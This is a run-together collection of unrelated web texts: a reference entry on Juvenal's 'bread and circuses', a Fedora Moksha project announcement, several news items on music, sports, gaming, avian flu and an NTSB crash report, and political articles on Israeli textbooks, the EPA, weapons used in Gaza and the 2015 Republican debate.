This phrase originates from Rome in Satire X of the Roman satirical poet Juvenal (circa A.D. 100). In context, the Latin panem et circenses (bread and circuses) identifies the only remaining interest of a Roman populace which no longer cares for its historical birthright of political involvement. Here Juvenal displays his contempt for the declining heroism of contemporary Romans, using a range of different themes including lust for power and desire for old age to illustrate his argument.[6] Roman politicians passed laws in 140 B.C. to keep the votes of poorer citizens, by introducing a grain dole: giving out cheap food and entertainment, "bread and circuses", became the most effective way to rise to power.
… Already long ago, from when we sold our vote to no man, the People have abdicated our duties; for the People who once upon a time handed out military command, high civil office, legions — everything, now restrains itself and anxiously hopes for just two things: bread and circuses.[7] [...] iam pridem, ex quo suffragia nulli / uendimus, effudit curas; nam qui dabat olim / imperium, fasces, legiones, omnia, nunc se / continet atque duas tantum res anxius optat, / panem et circenses. [...] (Juvenal, Satire 10.77–81)
Juvenal here makes reference to the Roman practice of providing free wheat to Roman citizens as well as costly circus games and other forms of entertainment as a means of gaining political power. The Annona (grain dole) was begun under the instigation of the popularis politician Gaius Sempronius Gracchus in 123 B.C.; it remained an object of political contention until it was taken under the control of the autocratic Roman emperors.
See also [ edit ]
Notes [ edit ]
Sources [ edit ]
Potter, D. and D. Mattingly, Life, Death, and Entertainment in the Roman Empire. Ann Arbor (1999).
Rickman, G., The Corn Supply of Ancient Rome Oxford (1980).We are pleased to announce the Moksha Project and Fedora Community Project. For a while now, Luke Macken, Máirín Duffy, myself and others have been working on consolidating the the Fedora Infrastructure bits under one unified user interface. We have decided to split the efforts into two projects.
* Moksha - a generic platform for creating live collaborative web applications * Fedora Community - a website portal built on top of the Moksha platform What is Moksha? Moksha is a platform for creating real-time collaborative web applications. It provides a set of Python and JavaScript API's that make it simple to create rich applications that can acquire, manipulate, and visualize data from external services. It is a unified framework build using the best available open source technologies such as TurboGears2, jQuery, AMQP, and Orbited. More information can be found on the Moksha Project Page at http://moksha.fedorahosted.org What is Fedora Community? Fedora Community aims at being a portal interface for Fedora Project members to collaborate within and find information about the diverse Fedora universe. It is created from applications built on top of the Moksha platform. Fedora Community is assembled from a wide-ranging set of modules that integrates existing Fedora Infrastructure components such as koji, bodhi, FAS, and PkgDB. More information and an example of the interface can be found at the Fedora Community project page http://johnp.fedorapeople.org/fedora-community/. Timeline Moksha's base functionality is scheduled for completion by the beginning of February. Our focus will then shift toward integration and polish to deliver the Fedora Community website in March. Getting Involved Weekly Meetings - We will be having public meetings every Monday morning at 10am EST (1500 UTC) where we go over the last week's progress and the current week's goals. Anyone is welcome to join and take on action items. The meetings will be broadcast over Fedora Talk. If you are a Fedora Talk user with a soft/voip phone, you can join the conference via 2...@fedoraproject.org or infrastruct...@fedoraproject.org. If you wish to dial in via a normal telephone, choose one of these local numbers: * 919-424-0063 - Raleigh, NC * 312-577-0052 - Chicago, IL * 978-303-8021 - Westford, MA * 650-930-9514 - Sunnyvale, CA * 442030518327 - UK The conference call extension is 2001. irc - #moksha on irc.freenode.net mailing list - https://fedorahosted.org/mailman/listinfo/moksha Since at this point Moksha and Fedora Community development are pretty much intertwined, Fedora Community will be using the Moksha irc channel and mailing list. At some point in the future we may wish to create a new irc channel and mailing list for Fedora Community efforts. Resources Moksha Project Page - http://lmacken.fedorapeople.org/moksha/ Moksha Trac - https://fedorahosted.org/moksha/ Fedora Community Project Page - http://johnp.fedorapeople.org/fedora-community/ MyFedora Trac - https://fedorahosted.org/myfedora/ MyFedora Wiki - https://fedoraproject.org/wiki/MyFedora TurboGears 2 - http://turbogears.org/2.0/docs/index.html jQuery - http://jquery.org/ AMQP - http://amqp.org Orbited - http://orbited.org -- John (J5) Palmieri -- fedora-announce-list mailing list fedora-announce-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-announce-listTWICE is having a successful comeback with the release of their newest album “Twicetagram” and title track “Likey.”
As the group’s first full-length album, “Twicetagram” has already recorded over 330,000 copies in stock pre-orders by distributors, a very high number for a girl group.
Shortly after its release on October 30 at 6 p.m. KST, their title song reached No. 1 spots on multiple Korean realtime music charts. As of October 31 at 2 p.m. KST, TWICE’s album was also at the top of 11 foreign iTunes album charts, including in Japan, Hong Kong, and Singapore. In addition, title track “Likey” was No. 1 on five different foreign iTunes song charts, such as in Hong Kong, the Philippines, and Taiwan.
The music video for “Likey” is racking up serious views since being uploaded on YouTube as well. TWICE broke their personal record for views in 24 hours with around 10 million views on October 31 at 6 p.m. KST, and currently has over 16 million views as of November 1 at 6 p.m. KST.
Check out TWICE’s “Likey” MV here. Congratulations to TWICE!
Source (1)CHICAGO (Reuters) - The Minnesota State Emergency Operations Center has called on the National Guard to deliver water for use in the effort to contain the rapidly spreading avian flu virus, the center said on Sunday.
Starting Monday, 30 National Guard soldiers and 15 military water trucks from the Willmar, Minnesota-based 682nd Engineer Battalion and the Brooklyn Park-based A Company, 134th Brigade Support Battalion will be used, the center said in a statement.
Large volumes of water are needed for the foam-based systems being used to cull flocks on infected turkey farms in a bid to contain the spread of the H5N2 virus, the statement said.
The guard members will work through Wednesday as additional water transport resources are identified.
The National Guard became available to be activated for such efforts last week, after Minnesota Governor Mark Dayton declared a state of emergency over the spread of the strain of avian flu, which has lead to the extermination of more than 7.3 million birds in the United States so far.
Minnesota’s action followed a similar move by neighboring Wisconsin a few days earlier.
The highly pathogenic H5N2 strain has been identified on 49 Minnesota farms in 17 counties and affected more than 2.6 million birds in the state, according to Minnesota state officials.Anthony Hargrove's roller-coaster NFL career is not over yet. NFL.com's Ian Rapoport reports that Hargrove has signed a contract with the Dallas Cowboys. The team's official website said it was a one-year deal.
Top 100 Players of 2013 Make sure you vote for the Top 100 players of 2013. Voting ends May 31. Get your vote in. More... Make sure you vote for the Top 100 players of 2013. Voting ends May 31. Get your vote in.
Hargrove, who battled back from drug addiction to win a Super Bowl with the New Orleans Saints, was not in the NFL last year after getting released by the Green Bay Packers in August. Hargrove originally was suspended eight games by the NFL for his role in the Saints' bounty probe, though the suspension ultimately was vacated by former NFL Commissioner Paul Tagliabue.
The Cowboys' bench is very thin on defense, so Hargrove has a shot to make the team's roster. It's probably an uphill battle, but Hargrove has overcome the odds before in his eight years in the league.People love to watching Overwatch.
The streaming site Twitch revealed today during the keynote for its TwitchCon event in San Diego that Overwatch has been the most popular 2016 release on the site, meaning that it has attracted more viewers than any other game released during the year. You can see the other most popular 2016 releases in the image above.
Overwatch’s place at the top isn’t a huge surprise. The team-based shooter for PlayStation 4, Xbox One, and PC launched in May and already has over 15 million players as of August. The interest has led to a fledgling esports scene as well, and Twitch is critical to this, since that’s where most people watch live gaming competitions.
The other games on the list represent a nice range, including online role-playing games like World of Warcraft: Legion, shooters like Destiny: Rise of Iron and The Division, independent games like Stardew Valley, and even a mobile game with Clash Royale.News
At 12:01am eastern time on Friday in America (Thursday night), we will finally get the full official release of ‘Get Lucky’ from Daft Punk.
Yep, A spokesperson from Columbia recordings confirm: “Get Lucky will be made available for download at exactly 12:01 a.m. ET on Friday (April 19)”, meaning that in a matter of hours you’ll finally get to find out that doctored version you’ve been listening too isn’t legit. Be gone fans who stitched together snippets from the dynamic duo’s Coachella album teaser and myriad of “Saturday Night Live” spots!
To ease the stress of what time this exactly is, we have a count down clock going. Once it reaches 12:01am you can de-stress a little before you start stressing again waiting for the album on May 21st 2013.
In the meantime you should check out our discussion on what Daft Punk’s new album ‘Random Access Memories’ means for dance music.
Update: only available on the US iTunes but have a listen to the track below.NTSB investigators either traveled in support of this investigation or conducted a significant amount of investigative work without any travel, and used data obtained from various sources to prepare this aircraft accident report.
The private pilot downloaded official weather briefings onto his tablet computer the night before and again on the morning of the planned cross-country personal flight. The forecast conditions were not conducive to visual flight and included a series of storms passing through the intended flight route, which resulted in instrument meteorological conditions (IMC), high cloud tops, and the potential for icing and mountain obscuration. Despite these forecasts, the low-time, noninstrument-rated private pilot departed with his wife and their three children for the intended vacation, which included a surprise party later that night.
According to Federal Aviation Administration radar tracking data, shortly after departure, the flight began to encounter the forecast weather conditions, and the flightpath and altitude began to change as the pilot repeatedly deviated to avoid clouds. Air traffic control (ATC) personnel provided the pilot with regular reports of bands of precipitation and the potential for airframe icing along the intended direction of flight. However, the pilot chose to continue the flight, and the cloud tops ahead continued to rise. The pilot kept climbing the airplane to remain clear of the cloud tops and eventually reached an altitude close to Class A airspace, where an instrument flight rules (IFR) clearance would be required, and close to the airplane's approved operating ceiling of 20,000 ft. The flight continued, but the airplane then began descending, and shortly after, the airplane likely entered the clouds.
An air traffic controller then offered the pilot the option to obtain an IFR clearance and continue the flight. Despite his lack of both an instrument rating and his limited experience flying in IMC, the pilot accepted. Radar data indicated that, during this period, the airplane turned abruptly left, directly toward a region of heavy precipitation. Then, shortly after accepting the IFR clearance, and likely while the pilot was distracted from controlling the airplane as he configured the airplane's avionics, the flightpath became erratic. The airplane performed a rapid descending left turn, after which the pilot transmitted a distress call. The flight continued to progress erratically, and the pilot made another distress call, after which the controller provided the pilot vectors to a nearby airport; however, no response was received. Subsequently, an alert notice was issued for the airplane, and the wreckage was located a few hours later.
Analysis of the debris field, airplane component damage patterns, and fracture surfaces indicated that both wings and stabilator halves separated from the fuselage in flight due to overstress resulting from excessive air loads. These air loads were likely induced by the pilot during his attempt to regain airplane control, which he lost shortly after the airplane entered the clouds. All persons on board were ejected from the airplane during the breakup sequence and sustained fatal injuries.
The reasons for the loss of control were likely the pilot's inability to maintain airplane control in IMC; his spatial disorientation, as evidenced by the erratic flightpath; airframe icing; pitot-static system icing; or some combination thereof. Icing could not be ruled out because the airplane was in visible moisture and flew directly into and toward precipitation just before the diversion.
Although the airplane was equipped with an autopilot, variations in heading and altitude throughout major portions of the flight suggested that the pilot was likely hand-flying the airplane. According to one of the airplane's owners, the autopilot was operational. However, the primary autopilot components were destroyed during the accident; thus, its operational status could not be determined.
The pilot had planned for the flight to last just over 2 hours and, based on his departure time, would have landed just before sunset. However, because of the weather deviations, the airplane had only reached the half-way point when the accident occurred, with about 30 minutes remaining before sunset.
The airplane was only equipped with a supplemental oxygen system sufficient for three persons. However, for more than half of the flight duration, the airplane was operating at altitudes that required all five occupants to be provided with and using oxygen. An oxygen mask was found entangled with the pilot's jacket, and the relative clarity of his communications with air traffic control suggested that he was using supplemental oxygen.
Given the pilot was not rated for IFR and did not have adequate oxygen equipment for his family, he may have been reluctant to declare an emergency and request a climb above flight level 180 and into class A airspace, which would likely have taken him into visual meteorological conditions, but instead accepted the IFR clearance at a lower level that did not ensure he could remain clear of clouds. His decision-making under increasingly adverse conditions was likely driven by a desire to get his family to the destination for the scheduled event that evening.
Although the pilot's autopsy identified significant coronary artery disease, there was no evidence of an old or new heart attack. Further, the pilot's radio communications and subsequent distress call revealed no evidence to support pilot impairment or incapacitation due to the coronary disease.Dear Leader
Posts : 575
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Subject: Kim Jong-Il's Sex Capades Sat May 01, 2010 12:11 am Subject: Kim Jong-Il's Sex CapadesSat May 01, 2010 12:11 am
But Kim Jong Il in his younger days enjoyed an international reputation as a playboy, surrounding himself in his "Joy Brigade" with hand-picked young women who were given the job of keeping the heir to the North Korean leadership happy.
Kim Jong Il's unrestricted sexual behavior was highly contagious, and he surrounded himself with members of the Party elite, who also boasted about their drinking and womanizing, North Korean analysts and defectors said.
http://www.expertclick.com/NewsReleaseWire/Love_in_the_Workers_Paradise_Sex_in_North_Korea,201021145.aspx
==============================
......bizarre scenes like this one, about Kim's "Entourage of Delight" a troupe of entertainers he keeps for his personal pleasure.
"The women of this entourage were frequently summoned to the "Number 8 Banquet Hall" in Pyongyang to perform elegant dances. The stage of this hall was equipped with an elaborate lighting system that included footlights on the sides and even a disco mirror ball hanging from the middle of the ceiling with strobe lights. The floor was also decked out with lights that flashed from |
In contrast, earlier versions avoided the topic of Palestinian refugees.
Ms Peled-Elhanan dismisses such changes as "cosmetic."
"The message is still the same. It says that we have to have a Jewish majority and all the means are kosher", she said.
She said she has been alienated by Israel's academic community and is never invited to schoolbook conferences. She added that during her candidacy for professorship several years ago, she was asked to produce a dozen recommendations, at least double the usual number, most likely due to her controversial views.
The research of Ms Peled-Elhanan, whose only daughter was killed at 13 in a Palestinian attack in Jerusalem in 1997, is also driven by her peace activism.
In 2001, she was awarded the European Parliament's Sakharov Prize for her human rights work.
Ms Peled-Elhanan's family is prominent in Israel's left-wing. Her father was a distinguished politician who controversially called for Palestinian autonomy in the West Bank and Gaza while serving as army general after the 1967 Middle East war in which Israel conquered those territories. Two of her three sons refused to carry out their army reserve duty and helped found Combatants for Peace, a group of former Israeli soldiers and ex-Palestinian militants campaigning for an end to Israel's West Bank occupation.
Ms Peled-Elhanan, whose home is on a hillside slope just under what used to be the Palestinian village of Deir Yassin - the site of a notorious 1948 Israeli assault that killed scores of Palestinians - said Israeli education teaches "hate and xenophobia towards Palestinians".
Her research cites one textbook saying the escape of Palestinians from Israel amid fears for their lives following the Deir Yassin killings "solved a terrifying demographic problem" for Israel.
The textbook added "even a moderate person such as [the first president Chaim] Weizman spoke about the flight as a "miracle."
The textbooks justify aggression towards Palestinians by showing it benefits Israel, she said.
The notorious 1953 Israeli massacre of dozens of Palestinians in the West Bank village of Qibya "restored somewhat the confidence of Israeli citizens" and rebuilt "the morale and dignity" of the army, one book says.
The textbooks attempt to convey Israeli dominance of the West Bank, she said. Some maps omit showing the Israeli-occupied territory as separate from Israel's recognised borders. Other maps that separate the two areas label the West Bank with its Hebrew biblical name of Judaea and Samaria.
A map of Jerusalem, titled The Historic Capital of the Jewish People, includes no Palestinian sites despite the city's eastern part being mainly inhabited by Palestinians.
Ms Peled-Elhanan says Israeli Palestinians, a fifth of the population, are looked upon as intruders rather than citizens.
Maps showing Israeli Palestinians omit key Arab cities such as Nazareth, or mixed Jewish-Arab towns such as Acre. One geography book says "the Arab society...objects to changes by its nature," is "reluctant to adopt novelties" and that "modernisation seems dangerous to them".
She said the books portray Arabs as being primitive and clannish.
The most common photos of Arabs show a mustachioed, kaffiyeh-wearing male leading a camel, a group of refugees shown from a distance or face-covered militants, she added.
To be sure, Palestinian textbooks have also faced criticism for stirring an anti-Israeli sentiment.
Samira Alayan, a Palestinian researcher, said in an interview that history books don't mention the Holocaust or terror attacks against Israelis, claim Jerusalem belongs to Muslims and assert that "the Zionists came and stole Palestinian land".
For Ms Peled-Elhanan, there is little hope of making a change in Israeli education.
"Israel wants a de-Arabisation of the whole area," she said. "Authorities have been tremendously successful in teaching this and they know that they won't have good soldiers if they change the textbooks."
foreign.desk@thenational.aeTrump administration silences government environmental scientists
By Daniel de Vries
27 October 2017
The Environmental Protection Agency (EPA) abruptly canceled talks by three scientists just days before a planned workshop Monday in Providence, Rhode Island. The move heightened concerns of scientific suppression at the agency, in particular related to climate change research.
The workshop Monday capped a three-year long assessment of Narragansett Bay, funded in part by EPA, to help improve water quality in the million-acre watershed. The scientists barred from speaking were Autumn Oczkowski, a Research Ecologist in EPA’s National Health and Environmental Effects Research Laboratory, who was set to give the keynotes address which addressed the issue of climate change; Rose Martin, a postdoctoral fellow who works with Oczkowski; and Emily Shumenchia, an ecologist contracted by EPA.
A key component of the assessment, and one that conflicts with the political agenda of the Trump administration, is the documentation that climate change is already impacting the environmental health of the Bay and recognition that it will pose significant challenges in the future.
Since taking office in February, EPA head Scott Pruitt has initiated a multi-pronged effort to rollback and suppress the agency’s work on climate change. Those two words are being scrubbed from agency web pages. The newly released 38-page draft EPA Strategic Plan for 2018-2022 omits any acknowledgment of a warming planet.
On the regulatory side, Pruitt this month signed a formal proposal to withdraw rules requiring power plants to reduce carbon dioxide emissions. And despite the administration’s diversionary claims that the causes of global warming are an unsettled question, their proposed budget hammers the agency’s Air, Climate and Energy research program with 50 percent cuts.
An EPA spokesman confirmed the decision to prevent the scientists from speaking at the workshop Monday, but refused to give a justification—a tacit admission that political motivations lay behind it.
“It’s definitely a blatant example of the scientific censorship we all suspected was going to start being enforced at EPA,” John King, a co-chair of the Narragansett Bay Estuary Program science advisory committee told the New York Times. “They don’t believe in climate change, so I think what they’re trying to do is stifle discussions of the impacts.”
Immediately after arriving at EPA, Pruitt instituted a new policy to require that all staff submit details of upcoming events for central vetting. Previously decisions to speak at conferences and workshops were made by supervisors and program managers, only rarely elevated in controversial cases. The muzzling of scientists in Narragansett marks the first instance that has come to public light. It is unknown how often the agency has denied speaking engagements in the ten months since Pruitt’s appointment.
Among the panels on which the silenced EPA staff were to appear was one titled, “The Present and Future Biological Implications of Climate Change.” As the title suggests, the warming waters, rising sea levels and more intense rainfall documented locally are intimately tied to the ecological health of one of New England’s largest and most diverse estuaries. While water quality in Narragansett Bay has improved significantly over the previous decades largely as a result of improved wastewater treatment, this progress is under threat from a changing climate.
The observed local climate impacts, including changes in species due to warmer water, are expected to lead to more severe consequences in the future. Among these include “potential ripple effects on the food web” as the amount and type of phytoplankton in the Bay alter. The report also notes amplified risks of flooding as rising sea levels and bigger storms combine with urbanization trends which reduce the capacity of the watershed to retain water.
Such conclusions directly contradict the interests behind the Trump administration’s environmental program, in which no amount of scientific evidence can outweigh the short-term profit interests of American corporations.
Please enable JavaScript to view the comments powered by Disqus.On January 24, a piece of white phosphorus burns at the UNRWA (UN Relief and Works Agency) primary school in Beit Lahia in the northern Gaza Strip. (Photo Olivier Laban-Mattei/AFP/Getty Images.)
The Israeli military tested new weapons in Gaza with U.S. support.
One woman described what happened after her arm was hit by burning white phosphorus: ‘It burnt a hole and melted everything.’
“You feel like a child playing around with a magnifying glass, burning up ants.” That is how one Israeli soldier described Operation Cast Lead, the Israeli Defense Force’s (IDF) invasion of the Gaza Strip, which began in December 2008.
His is one of 54 testimonies collected by the Israeli organization Breaking the Silence in a 110-page report that paints a disturbing picture of urban warfare in one of the world’s most densely populated areas, where more than 1.5 million people occupy a narrow strip of land between Israel and the sea.
Another soldier, after recounting an incident in which his unit used civilians as human shields, described Gaza as a “moral twilight zone.”
It is an apt term for Gaza’s wholesale destruction: homes demolished by Caterpillar D9 bulldozers (manufactured in the United States and armored by Israeli Military Industries) and set afire by white phosphorus canisters (made by Pine Bluff Arsenal, a U.S. Army installation in Pine Bluff, Ark.). Save the Children, a U.K.-based NGO, estimated that more than 500,000 people were displaced during the war, and, a month after the ceasefire, 100,000 remained homeless. The Palestinian Economic Development Council puts a $1.9-billion price tag on rebuilding from the 22-day war. It noted that even under ideal circumstances the work could take five years.
The term also applies to the civilians killed: children cut down while playing, women and men killed as they tried to carry on their normal lives. Civilians were targeted by Cobra helicopters armed with high-explosive anti-tank (HEAT) missiles (both made by Lockheed Martin), blasted by Strike missiles shot from Hermes drones (designed and manufactured in Israel) and caught in the crossfire as groups of soldiers advanced on firing militants. Richard Falk, the UN Special Rapporteur for Human Rights in the Occupied Territories, says that of the 1,434 Palestinians killed in Gaza, 960 were civilians, including 121 women and 288 children.
Arms and dollars for the ‘moral twilight zone’
Israel–the largest recipient of U.S. military aid–has one of the most sophisticated and extensive military arsenals in the region. U.S.-origin weapons predominate and are an emblem of Washington’s close relationship with Tel Aviv. During George W. Bush’s presidency, Israel received more than $22 billion in military assistance from the United States. The bulk of this was in Foreign Military Financing (FMF), which are U.S. grants for weapons purchases. Now, FMF is on the rise. President Obama is following through on his predecessor’s promise to increase security assistance to $30 billion over the next 10 years.
In a review of the Gaza war published in February 2009, the nonpartisan Congressional Research Service listed U.S. weapons platforms used in Operation Cast Lead, including “F-15 and F-16 aircraft [and] Apache helicopters.” Human Rights Watch’s (HRW) list of the U.S. systems deployed by Israel is far more extensive, including Cobra helicopters and American-made High-Explosive, Dual-Purpose rockets and HEAT missiles.
In addition to these systems, human rights groups found evidence of Israel’s use of a wide array of controversial, experimental weapons systems.
White phosphorus
“Why fire phosphorus?” “Because it’s fun. Cool.“–Israeli soldier, to Breaking the Silence.
White phosphorus is designed to obscure the battlefield, increasing freedom of movement for the user. It can also be used as a weapon. The U.S. Army Center for Health Promotion and Preventative Medicine notes that white phosphorous is “spontaneously flammable” and an “extremely toxic inorganic substance.” In Gaza, it was used to devastating effect used to burn down buildings. As one Israeli soldier told Breaking the Silence, “phosphorus was used as an igniter, simply to make it all go up in flames.”
One woman interviewed by HRW described what happened after she was hit by burning white phosphorus: “It burnt a hole and melted everything,” she said, pointing to her bandaged arm. The phosphorus ignites and burns on contact with oxygen, and continues burning until nothing is left or the oxygen supply is cut. According to medical personnel, the wounds sometimes began to burn again as they cleaned them.
In late January 2009, an Amnesty International investigation “found white phosphorus still smoldering in residential areas throughout Gaza days after the ceasefire came into effect on 18 January.” In the bombed courtyard of the Gaza headquarters of the UN Relief and Works Agency for Palestine Refugees, researchers found fragments of white phosphorus artillery shells and note that the “attack had caused a large fire, which destroyed tens of tons of humanitarian aid, including medicines, food and other non-food items.”
Deadly drones
Unlike much of Israeli military hardware, the Hermes and Heron drones are manufactured domestically, and both were used in Operation Cast Lead. In a joint assessment of Israeli drone attacks, B’Tselem, the Palestine Centre for Human Rights and Al Meza Centre for Human Rights found that Israel carried out 42 drone attacks in which 87 civilians were killed during the war.
Marc Garlasco, a senior military analyst with HRW, describes how precise and discriminate the drones can be: “Drone operators can clearly see their targets on the ground and also divert their missiles after launch.” In a study of six specific IDF drone attacks during Operation Cast Lead, HRW found that 29 civilians were killed, including 8 children. According to their study, 5 of the 6 attacks were carried out in broad daylight, all of them in civilian areas far from the fighting and in “unlikely sites for launching rockets into Israel.” Given the drones’ high degree of precision, HRW asserts that “these attacks violated international humanitarian law.”
New weapons testing
Human rights investigators, journalists and humanitarian workers were all barred from Gaza during the fighting, fueling confusion and speculation about what kinds of weapons systems were being used.
Mads Gilbert, a Norwegian doctor who worked in a Gaza hospital during the war, told “Democracy Now!” that “we have seen a substantial number of amputations where the amputees do not have shrapnel injuries. On the contrary, they have torn apart their legs, often one or two or even three limbs.” These injuries–new, terrible and seemingly shrapnel-free–have led to the hypothesis that Israel has been using what are known as Dense Inert Metal Explosives (DIME), a type of weapon that is still in testing phase in the United States.
“It is highly likely that Israel has developed its own version of DIME,” writes journalist David Hambling on the national security blog Danger Room. The “Iron Fist” interceptor, unveiled by the Israeli military in 2006, works in a way that is consistent with DIME technology. As Hambling writes in the online magazine Defense Update, the Iron Fist “uses only the blast effect to defeat the threat, crushing the soft components of a shaped charge or deflecting and destabilizing the missile or kinetic rod in their flight.”
Amnesty International researcher Donatella Rovera surveyed the damage wrought by these weapons and concluded, “The kinds of weapons used and the manner in which they were used indicates prima facie evidence of war crimes.”
War crimes?
Months after Operation Cast Lead, countless questions about the conduct of the IDF and the weapons used in Gaza remain unanswered. Gathering incontrovertible evidence and making solid conclusions is a critical part of post-conflict reconstruction. But given the kind of investigations that have been carried out thus far, that sort of closure seems out of reach for the people of Gaza.
The IDF carried out five of its own investigations, concluding that it “operated in accordance with international law” and that the small number of questionable incidents that did occur were “unavoidable and occur in all combat situations.”
HRW deems these investigations “not credible” and has called on the Israeli government to cooperate with a comprehensive UN investigation led by the former chief prosecutor of the international war crimes tribunals for the former Yugoslavia and Rwanda, Richard Goldstone. Thus far, Israel has opted not to participate.
And the United States–Israel’s closest ally and largest supporter–has refused to push Israel to cooperate. It seems the “moral twilight zone” extends beyond Gaza, all the way to Washington.
GET INVOLVED:From businessman Donald Trump's slam on O'Donnell to Gov. Chris Christie (R-N.J.) and Sen. Rand Paul (R-Ky.) getting into it over hugs, here are some of the most memorable moments from first Republican presidential debate. (Fox News Channel)
From businessman Donald Trump's slam on O'Donnell to Gov. Chris Christie (R-N.J.) and Sen. Rand Paul (R-Ky.) getting into it over hugs, here are some of the most memorable moments from first Republican presidential debate. (Fox News Channel)
Donald Trump landed on the Republican debate stage like a hand grenade here on Thursday night — serving notice that he may run as an independent if he does not get the party’s nomination, dismissing criticism of his insulting comments about women as “political correctness” and flatly calling the nation’s leaders “stupid.”
The current leader of the GOP pack drew boos and cheers from the audience and set the tone for a raucous two-hour debate. And other candidates acknowledged that Trump, a celebrity billionaire known for his showman’s flair, has tapped into a genuine current of public outrage and exasperation.
“Donald Trump’s hitting a nerve in this country. He is. He’s hitting a nerve,” Ohio Gov. John Kasich said. “People are frustrated, they’re fed up, they don’t think the government’s working for them. People who want to tune him out are making a mistake.”
Only 10 of the 17 declared contenders for the 2016 GOP nomination appeared in the first official debate of the 2016 campaign season. They were chosen by debate sponsor Fox News Channel because they ranked highest in the polls, though some of them are barely registering.
Trump’s entry into the race — and his continuing rise despite a series of incendiary comments — has thrown into chaos a party that is normally known for a coronation-like orderliness in its nominating process.
1 of 11 Full Screen Autoplay Close Skip Ad × The top quotes from the first Republican presidential debate View Photos Memorable lines from the leading candidates’ first face off in the fight for the GOP nomination for president. Caption Memorable lines from the leading candidates’ first face off in the fight for the GOP nomination for president. The Washington Post Buy Photo Wait 1 second to continue.
A first-time candidate, Trump is overshadowing the bids of a host of current and former governors and senators. And he is undercutting party leaders’ hopes of upgrading the GOP’s image by presenting a field of candidates distinguished by their experience, policy expertise and gravitas.
The internecine battle also is shifting focus from making their larger case against the Democratic front-runner, former secretary of state Hillary Rodham Clinton, at a time when her poll numbers are sinking.
[Trump makes it clear he plays by his own rules]
“Let’s be clear, we should be talking about Hillary Clinton... because everywhere in the world that Hillary Clinton touched is more messed up today than before,” Wisconsin Gov. Scott Walker said.
The moderators’ questioning of Trump was particularly aggressive.
“The questions to me were not nice. They were inappropriate,” Trump told reporters after the debate. “But you know what? The answers were good, obviously, because everyone thinks I won.”
Trump was asked to explain the bankruptcies of his companies (he responded that he simply used bankruptcy laws to maximum advantage); to detail his evidence that the Mexican government was sending criminals over the border (he said U.S. Border Patrol agents had told him so); why he once supported a single-payer health-care system (he said it worked well in Canada and Scotland); what favors he received for his campaign donations to Hillary Rodham Clinton (he said she showed up at his wedding on demand); and when he became a Republican (he did not say).
In one particularly vivid exchange, Fox News’s Megyn Kelly noted that Trump had referred to women with whom he had disagreed as “fat pigs, dogs, slobs and disgusting animals.”
After interrupting with “Only Rosie O’Donnell,” referring to a celebrity with who he has feuded, Trump replied more fully: “I’ve been challenged by so many people, and I don’t frankly have time for total political correctness. And to be honest with you, this country doesn’t have time either.”
He also minimized his comments as “fun, it’s kidding. We have a good time. What I say is what I say. And honestly, Megyn, if you don’t like it, I’m sorry. I’ve been very nice to you, although I could probably maybe not be, based on the way you have treated me.”
It was pointed out that, if he follows through on his threat to run as an independent, Trump could doom the Republican Party’s chances of victory in 2016. Trump noted that gives him “a lot of leverage.”
Sen. Rand Paul (Ky.) jumped in, portraying that attitude as political treason: “Hey, look, look! He’s already hedging his bet on the Clintons, okay? So if he doesn’t run as a Republican, maybe he supports Clinton, or maybe he runs as an independent, but I’d say that he’s already hedging his bets because he’s used to buying politicians.”
Trump appeared to set the tone for a debate that was combative throughout on a range of issues.
New Jersey Gov. Chris Christie and former Arkansas governor Mike Huckabee disagreed sharply over changes to Social Security and other entitlements. Christie argues that fiscal realities make cutbacks inevitable, while Huckabee has insisted that the safety net for the elderly must be preserved.
[Explore an annotated transcript of the debate]
Christie also sparred with Paul over the National Security Agency surveillance program authorized under the USA Patriot Act.
The New Jersey governor said the federal government needs more tools, not fewer, to root out terrorism and protect the homeland, while Paul cited the Bill of Rights in calling for scaling back spying programs.
“I want to collect more records from terrorists, but less records from innocent Americans,” Paul said.
Christie retorted, “That’s a completely ridiculous answer,” and added that Paul’s experience on national security matters consists of “blowing hot air” on a congressional subcommittee.
Former Florida governor Jeb Bush, for better or worse, largely steered clear of the fray.
At one point, Trump turned to Bush and disparaged his brother, former president George W. Bush: “The last couple of months of his brother’s administration were a catastrophe.”
Bush did not directly respond, instead trying to rise above his opponent to say Republicans cannot win back the White House by “dividing the country and creating a grievance kind of environment.”
Trump then called Bush “a true gentleman” but said that his admonishment of Trump’s “tone” was misplaced.
“When you have people that are cutting Christians’ heads off, when you have a world at the border and at so many places that it’s medieval times... we don’t have time for tone,” Trump said. “We have to go out and get the job done.”
Sen. Ted Cruz of Texas took a similarly sharp tone on the subject of illegal immigration, saying he supports legislation — inspired by last month’s death of Kathryn Steinle in San Francisco, who allegedly was killed by an undocumented immigrant — to defund “sanctuary cities,” or jurisdictions that defy federal authorities in order to protect immigrants living in the U.S. illegally.
“You know, there was reference made to our leaders being stupid,” Cruz said, referring to Trump’s comments. “It’s not a question of stupidity. It’s that they don’t want to enforce the immigration laws. That there are far too many in the Washington cartel that support amnesty.”
The Republicans voiced outrage over recently surfaced clandestine videos of Planned Parenthood employees discussing the harvesting of organs from aborted fetuses.
“I think future generations will look back to this history of our country and call us barbarians for murdering millions of babies because we never gave them a chance to live,” said Sen. Marco Rubio (Fla.), who emphasized his opposition to abortion, including in cases of rape and incest.
[The Take: The Donald is still on top — for the moment, at least]
Huckabee used more vivid language, saying the country must change its policies to “protect children instead of rip up their body parts and sell them like they’re parts to a Buick.”
The Fox moderators put Bush on the defensive over his role on the board of former New York mayor Michael R. Bloomberg’s charitable foundation, which supported Planned Parenthood. Bush declared, “My record as a pro-life governor is not in dispute,” and he boasted that he defunded Planned Parenthood and directed state funds to crisis pregnancy centers.
A political newcomer, retired neurosurgeon Ben Carson, has been popular on the hustings but garnered little attention Thursday night.
The first question he got was about his lack of foreign policy credentials — a point he conceded. “In fact, the thing that is probably most important is having a brain, and to be able to figure things out and learn things very rapidly,” Carson said. “You know, experience comes from a large number of different arenas.”
Rubio also deflected a question about his lack of executive experience by saying the election would not be a “résumé competition” but rather about which candidate best represents the future.
“If I’m our nominee, how is Hillary Clinton going to lecture me about living paycheck to paycheck?” Rubio said. “I was raised paycheck to paycheck. How is she going to lecture me about student loans? I owed over $100,000 just four years ago.”
Kasich, a recent entrant into the race, sought to make the most of his turn on the main debate stage. He delivered impassioned defenses of his expansion of Medicaid in Ohio to help lift up the poor as well as on gay rights. He said that although he personally opposes same-sex marriage, he accepts the Supreme Court’s ruling as the law of the land, recently attended a friend’s gay wedding and would love his daughters if they were lesbians.
